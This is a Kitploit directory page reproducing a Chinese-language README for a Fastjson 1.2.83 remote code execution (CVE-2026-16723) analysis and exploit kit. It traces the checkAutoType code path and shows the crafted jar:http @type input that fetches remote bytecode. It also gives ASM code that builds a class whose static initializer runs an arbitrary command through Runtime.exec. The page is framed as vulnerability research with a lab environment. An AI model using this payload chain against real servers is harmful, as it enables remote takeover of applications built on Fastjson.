Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
fastjson-cve-2026-16723 — Detailed CVE-2026-16723 analysis and exploit kit for Fastjson 1.2.83 RCE, covering vulnerable code paths, malicious JAR/bytecode generation, and a Docker Compose environment for reproducing the attack. | Kitploit
工具/GitHubGitHub/learner330/fastjson-cve-2026-16723
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHublearner330/fastjson-cve-2026-16723

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

fastjson-cve-2026-16723

Detailed CVE-2026-16723 analysis and exploit kit for Fastjson 1.2.83 RCE, covering vulnerable code paths, malicious JAR/bytecode generation, and a Docker Compose environment for reproducing the attack.

查看仓库
5222个月前尚未审核

免责声明:本项目仅供授权环境下的安全研究和学习使用。禁止对未授权系统进行测试,使用后果由使用者自行承担。


Fastjson 1.2.83 远程代码执行漏洞分析(CVE-2026-16723)

CVSS 9.0,影响 Fastjson 1.2.68 ~ 1.2.83。无需开启 AutoType,无需第三方 Gadget,默认配置即可利用。


一、漏洞机制概述

漏洞的入口在 com.alibaba.fastjson.parser.ParserConfig.checkAutoType。无论调用的是 JSON.parse(body) 还是 JSON.parseObject(body, Foo.class),最终都会进入这个方法。

关键代码路径(fastjson 1.2.83):

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {

    // ① 黑白名单检查——autoTypeSupport=false 时整段跳过
    if (autoTypeSupport || expectClassFlag) { ... }

    // ② @JSONType 注解探测
    boolean jsonType = false;
    InputStream is = null;
    try {
        String resource = typeName.replace('.', '/') + ".class";
        if (defaultClassLoader != null) {
            is = defaultClassLoader.getResourceAsStream(resource);
        } else {
            is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
        }
        if (is != null) {
            ClassReader classReader = new ClassReader(is, true);
            TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
            classReader.accept(visitor);
            jsonType = visitor.hasJsonType();
        }
    } catch (Exception e) { }
      finally { IOUtils.close(is); }

    // ③ 类型加载
    if (autoTypeSupport || jsonType || expectClassFlag) {
        boolean cacheClass = autoTypeSupport || jsonType;
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
    }

    // ④ jsonType=true 时跳过所有后续检查
    if (clazz != null) {
        if (jsonType) {
            return clazz;
        }
        // denyList 检查、硬编码拦截、isAssignableFrom ...
    }
}

AutoType 开关(autoTypeSupport)只控制 ① 是否进入,但 ② 注解探测无条件执行。只要 ② 中 jsonType 变为 true,③ 类型加载和 ④ 安全检查跳过就会相继触发。


二、攻击链路逐段分析

2.1 typeName → resource

String resource = typeName.replace('.', '/') + ".class";

typeName 是 JSON 中 @type 的值,攻击者完全可控。本意是将 com.example.Foo 转为 com/example/Foo.class,但当输入是 URL 时,这就变成了 URL 构造器。

因为 hostname 中的 . 也会被替换,攻击者用整数 IP 来绕过。127.0.0.1 的 32 位无符号整数是 2130706433:

输入:  jar:http:..2130706433:8000.probe!.EvilPayload
 ↓ replace('.', '/')
输出:  jar:http://2130706433:8000/probe!/EvilPayload.class

.. → //,.probe! → /probe!/,得到一个合法的 jar:http:// 资源定位符。

2.2 getResourceAsStream

is = defaultClassLoader.getResourceAsStream(resource);

getResourceAsStream 能否把 jar:http:// 解析为远程资源,完全取决于 ClassLoader 类型:

ClassLoader行为
JDK AppClassLoader只搜本地 classpath → null
Tomcat WebappClassLoader(独立 WAR)只搜 WEB-INF/lib → null
Spring Boot LaunchedURLClassLoader(fat-JAR)支持 jar:http:// → HTTP 出去拉字节码

这里有一个容易混淆的点:Spring Boot 内嵌 Tomcat 时,应用类的 ClassLoader 是 LaunchedURLClassLoader 而不是 WebappClassLoader。所以内嵌 Tomcat/Jetty/Undertow 都在受影响范围内。

当 is != null 时,攻击者托管的远程 class 字节码已进入 JVM 内存。

2.3 ASM 探针

ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();

Fastjson 用 ASM 扫描字节码,检查是否包含 @com.alibaba.fastjson.annotation.JSONType 注解。设计本意是性能优化——通过注解快速识别 Fastjson 管理的类型。但这里只检查注解是否存在,不验证字节码来源、不检查类名、不限制来源。攻击者的远程 class 只要带上 @JSONType,就能拿到 jsonType=true 的判定。

注意 catch (Exception e) {} 是空的——攻击者不会收到任何报错。

alt text

2.4 loadClass

if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

jsonType=true 即满足条件。loadClass 走标准类加载流程,经 defineClass 将字节码注册为 JVM Class 对象。

需要区分两个概念:defineClass 完成的是类定义(在 JVM 中注册),而 <clinit> 在类初始化阶段执行。两个阶段可能在同一次请求内完成,但 JVM 规范上它们是独立的。

2.5 return clazz

if (jsonType) {
    return clazz;
}

这行跳过了后续所有防御:

  • ClassLoader/DataSource/RowSet 硬编码拦截
  • denyList 黑名单
  • expectClass.isAssignableFrom(clazz) 类型检查

这也解释了为什么 parseObject(body, Dto.class) 防不住:类型绑定检查在类加载之后,而攻击代码在加载阶段就已执行。


三、Payload 构造

攻击者需要生成一个字节码文件,满足三个条件:携带 @JSONType 注解、在 <clinit> 中嵌入攻击代码、通过 HTTP 托管。

ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
        "EvilPayload", null, "java/lang/Object", null);

// 过 ASM 探针
cw.visitAnnotation(
    "Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();

// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
        "<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
        "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
        "java/lang/Runtime", "exec",
        "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);

// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());

恶意逻辑通过 <clinit> 触发,类被加载即执行。


四、总结

这条链的本质是把 Fastjson 的注解探测变成了一个远程类加载器。攻击者控制 @type 的值,通过字符串转换构造 URL、利用 getResourceAsStream 发起 SSRF 拉取字节码、以 @JSONType 注解通过 ASM 探针的检查、经 loadClass 完成类定义、最后由 return clazz 跳过所有安全检查。


参考链接

  • fastjson-1.2.83-rce (0x7eTeam)
  • fastjson-rce-lab (why-success)

下载工具